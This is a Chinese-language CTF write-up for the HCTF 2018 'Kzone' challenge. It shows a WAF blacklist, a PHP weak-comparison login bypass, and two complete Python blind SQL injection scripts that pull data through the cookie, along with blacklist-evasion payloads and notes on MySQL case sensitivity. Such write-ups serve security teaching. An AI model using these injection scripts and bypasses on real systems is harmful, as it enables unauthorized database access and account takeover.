HCTF 2018 Kzone Writeup

一个钓鱼网站,带有后台的管理系统,复现环境的时候因为一个不经意的flag格式,搞了很长时间,关于MySQL大小写不敏感的注入方式,很有意思。

kzone

题目描述

一个钓鱼网站,只有UserAgent是QQ才行,不然直接跳转到真正地QQ登陆界面

解题思路

www.zip中发现源码,发现后台管理界面

查看源码,存在safe.php用于过滤

1
2
3
4
5
6
7
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

$_GET$_POST$_COOKIE都经过了waf,虽然源码中含有默认密码,但是登陆不了,很明显密码被改变了。查看主要登陆的代码,在member.php中是验证cookie的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}

预期解法

首先将cookie中的login_data进行json_decode,通过admin_user查询数据库,找到对应的密码udata['password'],然后验证是否login_data['pass'] == sha1(udata['password'] . LOGIN_KEY),但是这里使用了==弱类型比较,如果我们是login_data['pass']等于一个int值num,而且int(sha1(udata['password'] . LOGIN_KEY)) == num那么就等于找到了admin的密码,用burp爆破即可。

65时,登陆成功,可是如果sha1计算的结果前一个字符不是数字就GG了
接着就可以在$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");,对$admin_user进行盲注,根据waf可构造

1
2
3
4
# 1. 判断最右边字符是否是a
SELECT * FROM fish_admin WHERE username='admin'/**/and/**/right(database(),1)/**/in/**/('a')/**/and/**/'1'
# 2. 判断database()是否在a和~之间,从ascii大的字符到ascii小的字符遍历
SELECT * FROM fish_admin WHERE username='admin'/**/and/**/(database()/**/between/**/'a'/**/and/**/'~'/**/and /**/'1'

这里先贴下两个exp
exp1 right in

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!python3
# right in version
import requests
import string

result = ''
chars = "/,}{-_,@" + string.ascii_letters + string.digits

url = "http://39.107.124.151:1000/admin/"
#proxies = {'http': 'http://127.0.0.1:1080'}
for i in range(1, 200):
finsih = 0
for c in chars:
payload = "admin' and right(database(),%s) in ('%s') and '1" % (str(i), c+result)
headers = {
'cookie': 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' %
payload.replace(' ', '/**/'),
}
print('[*] Testing: ' + c)
#print(headers)
r = requests.get(url=url, headers=headers, timeout=2)
if 'Management Index' in r.text:
result = c + result
print('[+] Find:' + result)
break
else:
if c == chars[-1]:
finsih = 1
if finsih:
print('[+] Result: ' + result)
break

exp2 Offical between and

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = 'http://39.107.124.151:1000/admin/'
chars = [chr(i) for i in range(32, 127)]
finish = 0
result = ''

while 1:
if finish:
print('[+] Result: ' + result)
break
for c in reversed(chars):
if 'or' in result + c: # 遇到黑名单字符直接continue
continue
payload = "admin' and (select * from F1444g) between '%s' and '%s' and '1" % (result + c, chr(126))
headers = {
'cookie': 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' %
payload.replace(' ', '/**/'),
}
r = requests.get(url, headers=headers)
if 'Management Index' in r.text:
print('[*] Find: ' + result + c)
result += c
break
else:
print('[*] Testing: ' + result + c)
if c == chr(32):
finish = 1
break

黑名单绕过

  1. 数据库名字中含有黑名单字符串
    爆其他数据库需要information_schema但是or被过滤导致不能使用,当时并没有想到其他方式,原来MySQL 5.7之后的版本,在其自带的mysql库中,新增了innodb_table_statsinnodb_index_stats这两张日志表。如果数据表的引擎是innodb,则会在这两张表中记录表、键的信息,这里数据库使用的就是innodb引擎。
  2. 要获取数据中含有黑名单字符串
    若flag为hctf{hctf_2018_kzone_Author_Li4n0},不能使用or,那么在盲注字符串时,就会出现问题。可以换一种形式,发现char函数并没有被过滤,而且还省事写''引号了。既然想到换个形式,那16进制肯定也可以。

    1
    2
    mysql> select 'flag' = char(102,108,97,103); # return 1
    mysql> select 'flag' = 0x666c6167; # return 1

    char()hex绕过只是适用与字符串,是不能够在表名或者字段名中使用的。

    bypass黑名单的思想大约有两种:

    • 找到具有同种功能的数据
    • 数据实质不变,转化数据的类型

当我开开心心跑exp的时候却发现,数据库名字成功了,而找flag的时候出了问题。exp2

到了z竟然成功了,此处应该是_,这说明ascii('_')>ascii('z')了,就很苦恼。exp1跑的结果是hctf{hctf_2018_kzone_author_li4n0}。肯定就是大小写的问题了。。。

MySQL大小写敏感问题

参考:https://dev.mysql.com/doc/refman/5.7/en/

  • mysql大小写敏感配置相关的两个参数
    lower_case_file_system:表示当前系统文件是否大小写敏感,只读参数,无法修改。ON表示大小写不敏感 OFF表示大小写敏感
    lower_case_table_names:表示表名是否大小写敏感,可以修改在开启服务时

    • 0:mysql会根据表名直接操作,大小写敏感
    • 1:mysql会先把表名转为小写,再执行操作
      1
      2
      3
      4
      5
      6
      7
      8
      # Unix 5.7.24默认        
      mysql> show global variables like '%lower_case%';
      +------------------------+-------+
      | Variable_name | Value |
      +------------------------+-------+
      | lower_case_file_system | OFF |
      | lower_case_table_names | 0 |
      +------------------------+-------+
  • 数据的大小写设置问题

    • 字符集设置COLLATE 默认都是*_ci,表中所有字段都生效
      • *_bin: 表示binary case sensitive collation,即区分大小写;
      • *_cs: case sensitive collation,区分大小写;
      • *_ci: case insensitive collation,不区分大小写;
    • 字段属性设置
      • 建立表的时候,在字段名后加BINARY,就会覆盖collate,从而区分大小写

大小写不敏感的注入

当然在sql注入的过程中如果数据是区分大小写的,肯定是非常省事的。接下来主要看不区分大小写的注入。

  • 表名的敏感性
    因为默认表名大小写敏感,所以我们在获取GROUP_CONCAT('table_name')时是没有问题的,如果Unix设置了lower_case_table_names=1或者是Windows,这样我们爆出表名都是小写的(string.ascii_letters中小写字母在前),这样使用exp1(in)的方式是没有影响的,而between and变会受到影响
  • 数据的敏感性
    当插入的数据是不区分大小写的,而且存在大写字母,我们怎么还原它呢?
    • BINARY(expr)
    • CAST(expr AS BINARY)
    • CONVERT(expr USING BINARY)

最终payload可以是

1
2
"admin' and binary((select * from F1444g)) between %s and '%s' and '1" % (str2dec(result+c), chr(126))  
"admin' and binary(right((select * from F1444g),%s)) in (%s) and '1" % (str(i), str2dec(c+result))

一点小trick

在没有使用binary函数时,使用between and注入,出现了ascii('_')>ascii('z'),仔细想想发现,其实不区分大小写时,小写字母的的ascii值是它对应的大写字母的。导致位于小写字母和大写字母之间的[\^_`)没办法成功注入

字符串类型布尔盲注总结

当失去了=,其实我们也有很多方案来实施

  • 截取字符串,用in (test_string)或者like来bypass
    • right(flag, len) in (test_string)
    • left(flag, len) in (test_string)
    • mid(flag, pos, len) in (test_string)
    • substr(flag, pos, len) in (test_string)
    • flag like test_string%
  • 整个数据进行比较,下面方式会逐个字符比较,原理相同,test_string每个字符应该按照ascii码顺序测试。
    • strcmp(flag, test_string)
    • flag between test_string and ‘~’
    • flag > test_string
    • flag < test_string

非预期解法

这个题目用了json_encode来编码cookie,并没有使用base编码,在php中如果json字符串中含有unicode字符,也会正常解码。导致了黑名单没有卵用,只要使用unicode就能bypass。